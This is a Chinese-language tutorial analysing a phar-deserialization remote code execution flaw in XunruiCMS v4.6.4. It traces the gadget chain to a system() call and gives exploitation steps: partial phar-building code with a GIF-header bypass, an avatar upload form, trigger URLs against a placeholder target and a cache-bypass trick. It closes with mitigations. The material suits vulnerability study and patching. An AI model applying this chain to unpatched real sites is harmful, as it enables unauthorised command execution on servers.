XunruiCMS 前台RCE漏洞分析与利用教学文档
漏洞概述
XunruiCMS v4.6.4及之前版本存在一个前台远程代码执行(RCE)漏洞,位于dayrui/Fcms/Control/Api/Api.php文件中。该漏洞通过phar协议触发反序列化,最终可导致任意代码执行。
环境要求
- PHP版本:7.3.4
- 操作系统:Windows
- XunruiCMS版本:v4.6.4(最新版已修复)
漏洞位置
dayrui/Fcms/Control/Api/Api.php文件中的thumb参数处理部分。
漏洞分析
关键代码
$img = getimagesize($thumb);
$thumb参数通过GET方式接收,经过XSS过滤但未对phar协议进行过滤,导致可以通过phar协议触发反序列化。
漏洞触发条件
$thumb参数可控- 能够上传phar文件到服务器
- 能够访问触发phar反序列化的接口
绕过限制
原始代码中有如下检查逻辑:
if (strpos($thumb, 'https:') === false && strpos($thumb, 'http:') === false && strpos($thumb, '/') === false)
对于phar://xxx这类输入不会进入这个if语句,因此不会触发exit。
反序列化利用链分析
1. 起点:__destruct方法
寻找可控的__destruct方法作为利用链起点:
public function __destruct() {
if ($this->redis) {
$this->redis->close();
}
}
$this->redis可控,可以调用任意类的close方法。
2. 调用delete方法
通过控制$this->memcached和$this->lockKey,可以调用某个类的delete方法:
public function delete($key) {
if ($this->tempAllowCallbacks) {
$this->trigger('beforeDelete', $key);
}
// ...
}
3. 触发回调方法
通过trigger方法可以调用本类的其他方法:
protected function trigger($event, ...$params) {
if (isset($this->{$event}) && is_callable($this->{$event})) {
return call_user_func($this->{$event}, ...$params);
}
// ...
}
4. 利用validate方法
找到validate方法中的run方法:
public function run(array $data = [], $dbGroup = null): bool {
// ...
$value = dot_array_search($rField, $data);
// ...
$this->processRules($rField, $value, $rules, $data);
}
关键点:
$this->cleanValidationRules需设为false$this->rules可控$rField和$rSetup可控
5. 控制$value值
通过dot_array_search函数控制$value:
function dot_array_search($index, array $array) {
// ...
return _array_search_dot($segments, $array);
}
$data['DBGroup']可控,因此将$rField设为'DBGroup'即可控制$value。
6. 最终命令执行
在processRules中:
protected function processRules($field, $value, $rules, $data) {
// ...
if (is_string($rules)) {
$rules = $rules($value);
}
// ...
}
通过控制:
$rules为"system"$value为要执行的命令(如"calc")
即可实现任意命令执行。
漏洞利用步骤
1. 生成phar文件
创建包含恶意序列化数据的phar文件,需注意:
- 使用gif文件头绕过图片检测
- 避免包含"php"字眼
示例phar生成代码:
// 创建恶意类
class Exploit {
// 根据利用链设置相应属性
// ...
}
// 生成phar文件
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>'); // 添加gif文件头
$phar->setMetadata(new Exploit()); // 设置恶意对象
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
2. 上传phar文件
通过头像上传功能上传phar文件,注意:
- 使用表单直接上传,避免内容缺失
- 修改上传参数避免缓存影响
示例上传表单:
<form action="http://target.com/index.php?s=member&c=account&m=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
3. 触发漏洞
访问包含漏洞的接口,传递phar协议路径:
http://target.com/api.php?s=api&c=api&m=thumb&thumb=phar://path/to/uploaded/file.phar
4. 绕过缓存
如果返回500状态码表示触发成功,200表示未触发。修改GET参数避免缓存:
http://target.com/api.php?s=api&c=api&m=thumb&thumb=phar://path/to/uploaded/file.phar&rand=12345
防御措施
- 升级到最新版XunruiCMS
- 对文件上传进行严格限制
- 禁用不必要的协议如phar
- 对反序列化操作进行严格控制
总结
该漏洞通过phar协议触发反序列化,利用精心构造的利用链最终实现任意代码执行。漏洞利用需要结合文件上传功能,通过控制多个关键参数实现命令执行。防御此类漏洞需要从输入验证、文件上传控制和反序列化安全等多方面入手。